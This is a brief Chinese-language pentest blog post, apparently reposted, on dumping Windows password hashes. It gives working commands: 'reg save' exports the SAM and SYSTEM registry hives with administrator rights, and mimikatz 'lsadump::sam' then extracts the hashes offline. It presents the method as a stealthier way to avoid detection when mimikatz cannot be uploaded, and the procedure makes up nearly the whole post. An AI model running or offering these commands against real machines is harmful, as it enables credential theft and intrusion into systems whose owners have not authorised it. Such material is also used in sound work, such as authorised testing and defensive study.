0x00 前言
在不允许上传或者使用mimikatz时，可以通过保存注册表，到本地来读Windows Hash密码。这种方法更隐蔽，缺点是要解Hash。
0x01 操作
管理员权限下执行cmd:
reg save HKLM\SYSTEM D:\sys.hiv
reg save HKLM\SAM D:\sam.hiv执行完在D盘生成生成两个文件
sys.hiv、sam.hiv
下载到本地mimikatz的目录打开mimikatz。
利用代码：
lsadump::sam /sam:sam.hiv /system:sys.hiv原文作者：Keefe
原文链接：通过注册表读Windows Hash密码
版权声明：本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可